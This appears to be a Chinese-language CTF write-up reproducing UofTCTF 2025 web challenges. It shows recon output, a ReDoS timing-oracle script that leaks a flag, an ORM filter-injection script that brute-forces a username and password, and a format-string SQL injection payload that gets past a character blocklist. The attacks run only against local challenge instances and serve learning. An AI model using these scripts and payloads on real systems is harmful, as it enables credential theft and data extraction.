UofTCTF-2025-web-复现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

gospider -s "http://127.0.0.1:3000" -o output -c 10 -d 3 --robots --sitemap
[url] - [code-200] - http://127.0.0.1:3000
[robots] - http://127.0.0.1:3000/hidden_admin_panel
[href] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css
[href] - http://127.0.0.1:3000/styles.css
[href] - http://127.0.0.1:3000/
[href] - http://127.0.0.1:3000
[javascript] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js
[javascript] - http://127.0.0.1:3000/app.min.js
[url] - [code-403] - http://127.0.0.1:3000/hidden_admin_panel
[url] - [code-200] - http://127.0.0.1:3000/
[url] - [code-200] - http://127.0.0.1:3000/app.min.js
[url] - [code-200] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js
[url] - [code-200] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.js

1
2
3
4
5
6
7

part7":"c0d3!!}   (from app.min.js.map)
part 1: uoftctf{ju57_k33p_  (from home)
part4=411_7h3_  (from robots)
Part 6: 50urc3_  (from admin)
flag_part3=1n5p3c7_   (from cookie)
* p_a_r_t_f_i_v_e=4pp5_* (from css)
part2 c4lm_4nd_   (from head)

1

console.log(chalk.yellow(`[+] Worker timed out after ${timeout}ms. A ReDoS attack was likely triggered!`));

1

// redos-trigger:aaaaaaaaaaaaaaaaaaaaaaaaa

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// 0. 初始化
function initializeFiles() {
  const files = fs.readdirSync(CODE_SAMPLES_DIR);
  files.forEach(file => {
    filesIndex[file] = {
      visible: file !== 'flag.txt',
      // invisible  看不见摸得着
      path: path.join(CODE_SAMPLES_DIR, file),
      name: file,
      language: LANG_MAP[path.extname(file)] || null
    };
  });
  console.log(chalk.green('Initialized file index.'));
}

// 1. 正常分配线程
function runSearchWorker(workerData, timeout = 5000) {
  return new Promise((resolvePromise, rejectPromise) => {
    const worker = new Worker(resolve(__dirname, 'searchWorker.js'), {  //调用searchworker.js的程序
      workerData    // 分配新的数据,包含visible: file !== 'flag.txt',的信息
    });

    worker.on('message', resolvePromise);
    worker.on('error', rejectPromise);
    worker.on('exit', (code) => {
      if (code !== 0)
        resolvePromise({ results: [] });
    });

    const timer = setTimeout(() => {
      // ▼▼▼▼▼ 这里添加了日志记录便于观察 ▼▼▼▼▼
      console.log(chalk.yellow(`[+] Worker timed out after ${timeout}ms. A ReDoS attack was likely triggered!`));
      // ▲▲▲▲▲ 这里添加了日志记录便于观察 ▲▲▲▲▲
      worker.terminate().then(() => {
        resolvePromise({ results: [] });
      });
    }, timeout);

    worker.on('message', () => clearTimeout(timer));
    worker.on('error', () => clearTimeout(timer));
    worker.on('exit', () => clearTimeout(timer));
  });
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

// 3. 核心匹配逻辑
.map(([fileName, fileData]) => {
  // ...
  content = fs.readFileSync(fileData.path, 'utf-8');
  // ...。
  matchIndices = handleNormalSearch(content, searchTerm);
  // ...
  if (matchIndices.length === 0) return null;
  // ...
  const preview = generatePreview(content, matchIndices, PREVIEW_LENGTH);
  return preview ? { fileName, preview, language: fileData.language, visible: fileData.visible } : null;
})

// 4. 得到的结果被拦截
.filter(result => result !== null && result.visible);

1
2

如果： 匹配到包含 "uoftctf{x" 的字符串
    执行ReDos引起卡顿

1

/^(?=(uoftctf{)).*.*.*.*.*.*.*.*.*.*.*.*.*!!!!!!!!!!!!$/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

import re
import requests
import string
import time

URL = "http://localhost:3000/search"
CHARSET = string.ascii_lowercase + string.digits + "_-}{?"
TIMEOUT_THRESHOLD = 0.9

flag = "uoftctf{"
succeed = True

while '}' not in flag:
    
    isfound = False

    for char in CHARSET:

        guess = flag + char
        escaped_guess = re.escape(guess)  # 转义正则中的'{'
        payload = f"/^(?=({escaped_guess})).*.*.*.*.*.*.*.*.*.*.*.*.*!!!!!!!!!!!!$/"

        json_data = {"query": payload}
        
        print(f"[-]尝试{char}",end='\r')
        start_time=time.time()

        try:
            requests.post(URL, json_data, timeout = 1.1)
        except requests.exceptions.ReadTimeout:
            pass
        
        end_time = time.time()

        duration = end_time - start_time

        if duration > TIMEOUT_THRESHOLD:
            flag = flag + char
            isfound =True

            print(f"\n[*]找到了{char}")
            print(f"[*]现在的flag为{flag}\n")
            break

    if not isfound :
        succeed = False
        print(f"\n[*]出错了desuwa😭")
        break

if succeed:
    print(f"\n欧咩跌多😚 {flag}")
else:
    print(f"🙃{flag}")

1
2
3
4
5

curl "http://127.0.0.1:3000/api/posts?author\[name\]\[startsWith\]=a" | jq
{
  "success": true,
  "posts": []
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

import requests
import string
import sys
import itertools

BASE_URL = "http://127.0.0.1:3000/api/posts"
CHARSET = string.ascii_letters + string.digits

def check_condition(params):
    try:
        response = requests.get(BASE_URL, params=params, timeout=5)
        response.raise_for_status()
        data = response.json()
        return data.get("success") and data.get("posts") and len(data["posts"]) > 0
    except (requests.exceptions.RequestException, ValueError):
        return False

def brute_force_letters(filter_key, filter_value, field_to_brute):
    found_value = ""
    field_name_to_display = field_to_brute.split('[')[1].replace(']', '')
    print(f"\n[*] 开始爆破 {field_name_to_display} 的字母构成...")
    
    while True:
        found_char_in_iteration = False
        for char in CHARSET:
            test_prefix = found_value + char
            
            params = {field_to_brute: test_prefix}
            if filter_key and filter_value:
                params[filter_key] = filter_value

            sys.stdout.write(f"\r[+] 正在尝试: {test_prefix}")
            sys.stdout.flush()

            if check_condition(params):
                found_value += char
                found_char_in_iteration = True
                break

        if not found_char_in_iteration:
            sys.stdout.write("\n")
            return found_value if found_value else None

def get_case_permutations(text):
    options = [(c.lower(), c.upper()) if c.isalpha() else (c,) for c in text]
    return [''.join(p) for p in itertools.product(*options)]

def main():
    print("--- 阶段一: 爆破用户名的字母构成 (大小写不敏感) ---")
    
    found_letters = brute_force_letters(None, None, 'author[name][startsWith]')
    
    if not found_letters:
        print("[!] 无法爆破出任何用户名。")
        return
        
    print(f"\n[SUCCESS] 成功找到用户名的字母构成: {found_letters}")
    
    print("\n--- 阶段二: 遍历大小写组合以爆破密码 ---")
    
    name_permutations = get_case_permutations(found_letters)
    correct_name = None
    found_password = None

    for name_attempt in name_permutations:
        print(f"\n[*] 尝试使用用户名: '{name_attempt}'")
        password_first_char = brute_force_letters('author[name]', name_attempt, 'author[password][startsWith]')
        
        if password_first_char:
            print(f"\n[SUCCESS] 正确的用户名是: '{name_attempt}'")
            correct_name = name_attempt
            found_password = password_first_char
            break 

    if correct_name:
        print("\n--- 阶段三: 继续爆破密码剩余部分 ---")
        full_password = brute_force_letters('author[name]', correct_name, 'author[password][startsWith]')
        if full_password:
             print(f"\n[!!!] 最终成功 [!!!]")
             print(f"用户名: {correct_name}")
             print(f"密码: {full_password}")
    else:
        print(f"\n[!] 遍历完所有大小写组合，仍无法找到密码。")

    print("\n[*] 攻击完成。")

if __name__ == "__main__":
    main()

1
2
3

curl -X POST -H "Content-Type: application/json" -d "{\"name\":\"Bob\",\"password\":\"8AXCgMish5Zn59rSXjM\"}" http://127.0.0.1:3000/api/login

{"success":true,"posts":[{"id":2,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"Boosting Productivity with Time Blocking","body":"Struggling to get things done? Time blocking might be your answer. By dividing your day into focused chunks of work, you can minimize distractions and maximize efficiency. Start by identifying your most important tasks, assign specific time slots, and stick to them. Bonus tip: leave buffer time for unexpected interruptions. Time blocking isn’t just about scheduling—it’s about creating space for what truly matters.","authorId":2},{"id":4,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"How to Start Your Fitness Journey Today","body":"Getting fit can feel overwhelming, but it doesn’t have to be. Start small: commit to a 10-minute walk daily or try a beginner-friendly workout video. Focus on consistency over intensity. Remember, progress takes time, so celebrate small wins along the way. Your future self will thank you for taking that first step today!","authorId":2},{"id":6,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"5 Quick Ways to Declutter Your Space","body":"A cluttered space can lead to a cluttered mind. Here’s how to simplify:\n\nApply the “one in, one out” rule for new purchases.\nDedicate 10 minutes a day to tidying up.\nDonate items you haven’t used in a year.\nInvest in smart storage solutions.\nRemember: less is more.\nDecluttering isn’t just about cleaning—it’s about creating a space that inspires calm and focus.","authorId":2},{"id":11,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":false,"title":"The Flag","body":"This is a secret blog I am still working on. The secret keyword for this blog is uoftctf{u51n6_0rm5_d035_n07_m34n_1nj3c710n5_c4n7_h4pp3n}","authorId":2}]}⏎

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

def build_query(self):
    query = self.query_template

    #  初始扫描：第一次扫描模板，找到所有占位符。
    self.placeholders = self.get_all_placeholders(query)
    
    #  进入循环：只要 self.placeholders 列表不为空，就一直循环。
    while self.placeholders:
        
        #  确定目标：每次循环，只处理列表中的第一个占位符。
        key = self.placeholders[0]

        format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
        for k in self.placeholders:
            if k in self.dirty_strings:
                if key == k:
                    format_map[k] = self.dirty_strings[k].get_value()
        
        query = query.format_map(type('FormatDict', (), {
            '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
        })())
        
        # 致命步骤 - 重新扫描！
        self.placeholders = self.get_all_placeholders(query)
        
    # 8. 循环结束后，返回最终结果。
    return query

1

    MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]  # " ''  \ / * + % - ; # ( ) " ,

1
2

username = {password.__doc__[11]}{password.__doc__[14]}OR{password.__doc__[14]}{password.__doc__[3]}SELECT{password.__doc__[14]}SUBSTRING{password.__doc__[3]}flag{password.__doc__[42]}1{password.__doc__[42]}1{password.__doc__[13]}{password.__doc__[14]}FROM{password.__doc__[14]}flags{password.__doc__[13]}={password.__doc__[11]}u{password.__doc__[11]}{password.__doc__[15]}{password.__doc__[15]}{password.__doc__[14]}
password = a